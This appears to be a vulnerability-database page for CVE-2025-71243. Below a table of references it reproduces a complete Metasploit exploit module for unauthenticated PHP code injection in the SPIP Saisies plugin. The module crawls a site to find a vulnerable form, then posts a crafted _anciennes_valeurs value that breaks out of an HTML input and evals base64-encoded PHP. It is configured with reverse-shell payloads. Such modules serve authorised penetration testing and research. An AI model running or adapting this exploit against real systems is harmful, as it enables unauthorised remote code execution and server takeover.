| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2025-71243 | 19 Feb 202614:58 | β | attackerkb | |
| Exploit for CVE-2025-71243 | 19 Feb 202616:13 | β | githubexploit | |
| CVE-2025-71243 | 19 Feb 202616:31 | β | circl | |
| SPIP 代η 注ε ₯ζΌζ΄ | 19 Feb 202600:00 | β | cnnvd | |
| CVE-2025-71243 | 19 Feb 202614:58 | β | cve | |
| CVE-2025-71243 SPIP Saisies Plugin < 5.11.1 Remote Code Execution | 19 Feb 202614:58 | β | cvelist | |
| SPIP Saisies Plugin Unauthenticated RCE | 9 Mar 202618:57 | β | metasploit | |
| SPIP Saisies - Remote Code Execution | 1 Jun 202605:38 | β | nuclei | |
| CVE-2025-71243 | 19 Feb 202616:27 | β | nvd | |
| π SPIP Saisies 5.11.0 Remote Code Execution | 24 Feb 202600:00 | β | packetstorm |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Spip
prepend Msf::Exploit::Remote::AutoCheck
FORM_PARAM = '_anciennes_valeurs'.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SPIP Saisies Plugin Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated PHP code injection in the SPIP
Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is
interpolated unsanitized into a hidden field rendered with
interdire_scripts=false, allowing direct PHP code execution via template
eval.
Exploitation requires a publicly accessible page containing a
saisies-powered form, most commonly created with the Formidable plugin.
Use the FORM_PAGE option to specify a known form page, or set it to
'crawl' to automatically discover one by following internal links from
the SPIP sitemap.
Versions 5.4.0 through 5.11.0 of the saisies plugin are affected.
},
'Author' => [
'OpenStudio', # Discovery
'Valentin Lobstein <chocapikk[at]leakix.net>' # PoC and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-71243'],
['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html'],
['URL', 'https://plugins.spip.net/saisies']
],
'Targets' => [
[
'PHP In-Memory', {
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell', {
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2025-02-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('FORM_PAGE', [
true,
'Page containing a saisies form (e.g. "contact"), or "crawl" to auto-discover',
'crawl'
]),
OptInt.new('CRAWL_MAX_PAGES', [true, 'Maximum pages to visit when crawling', 100])
])
end
def check
version = spip_plugin_version('saisies')
if version
print_status("Saisies plugin version: #{version}")
if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0'))
return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).")
end
return CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.")
end
spip_ver = spip_version
return CheckCode::Unknown('Target does not appear to be running SPIP.') unless spip_ver
CheckCode::Detected("SPIP #{spip_ver} detected but could not determine saisies plugin version.")
end
# Find a page containing a saisies form (_anciennes_valeurs parameter).
# When FORM_PAGE is set to a specific page name, only that page is checked.
# When set to 'crawl', the module fetches the SPIP sitemap and follows
# internal links until a form is found or CRAWL_MAX_PAGES is reached.
def find_form_page
if datastore['FORM_PAGE'].downcase != 'crawl'
page = datastore['FORM_PAGE']
if page.start_with?('/')
return page if saisies_form?(page)
fail_with(Failure::NotFound, "No saisies form found at #{page}")
end
uri = normalize_uri(target_uri.path, 'spip.php')
full_uri = "#{uri}?page=#{page}"
return full_uri if saisies_form?(uri, 'page' => page)
fail_with(Failure::NotFound, "No saisies form found at #{full_uri}")
end
crawl_for_form
end
def saisies_form?(uri, vars_get = {})
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => vars_get)
res&.code == 200 && res.body.include?(FORM_PARAM)
end
def crawl_for_form
max_pages = datastore['CRAWL_MAX_PAGES']
seen = Set.new
queue = []
# Seed with the SPIP sitemap page
plan_path = normalize_uri(target_uri.path, 'spip.php')
plan_uri = "#{plan_path}?page=plan"
res = send_request_cgi('method' => 'GET', 'uri' => plan_path, 'vars_get' => { 'page' => 'plan' })
if res&.code == 200
seen.add(plan_uri)
extract_internal_links(res).each { |link| queue << link }
end
# Also seed with the base URL
base_uri = normalize_uri(target_uri.path, 'spip.php')
queue << base_uri unless seen.include?(base_uri)
print_status("Crawling for saisies forms (max #{max_pages} pages)...")
until queue.empty? || seen.size >= max_pages
uri = queue.shift
next if seen.include?(uri)
seen.add(uri)
vprint_status("Checking #{uri}")
begin
res = send_request_cgi('method' => 'GET', 'uri' => uri)
rescue ::Rex::ConnectionError
next
end
next unless res&.code == 200
if res.body.include?(FORM_PARAM)
print_good("Form found at #{uri} (checked #{seen.size} pages)")
return uri
end
extract_internal_links(res).each do |link|
queue << link unless seen.include?(link)
end
end
fail_with(Failure::NotFound, "No saisies form found after crawling #{seen.size} pages.")
end
# Extract internal links from an HTML response, filtering out static assets.
def extract_internal_links(res)
links = []
doc = res.get_html_document
return links unless doc
doc.css('a[href]').each do |a|
href = a['href'].to_s.strip
next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i)
# Resolve protocol-relative URLs (//example.com/page)
if href.start_with?('//')
href = "#{ssl ? 'https' : 'http'}:#{href}"
end
# Resolve absolute URLs to paths
if href.start_with?('http://', 'https://')
uri = begin
URI.parse(href)
rescue StandardError
next
end
target = begin
URI.parse(full_uri)
rescue StandardError
next
end
next unless uri.host == target.host
href = uri.path
href += "?#{uri.query}" if uri.query
elsif !href.start_with?('/')
href = normalize_uri(target_uri.path, href)
end
links << href
end
links.uniq
end
def exploit
form_uri = find_form_page
print_status('Sending payload...')
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
b64 = Rex::Text.encode_base64(phped_payload)
tag = Rex::Text.rand_text_alpha(8)
injection = "#{tag}' /><?php eval(base64_decode('#{b64}')); ?><input value='#{tag}"
send_request_cgi({
'method' => 'POST',
'uri' => form_uri,
'vars_post' => {
FORM_PARAM => injection
}
}, 5)
end
endData
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation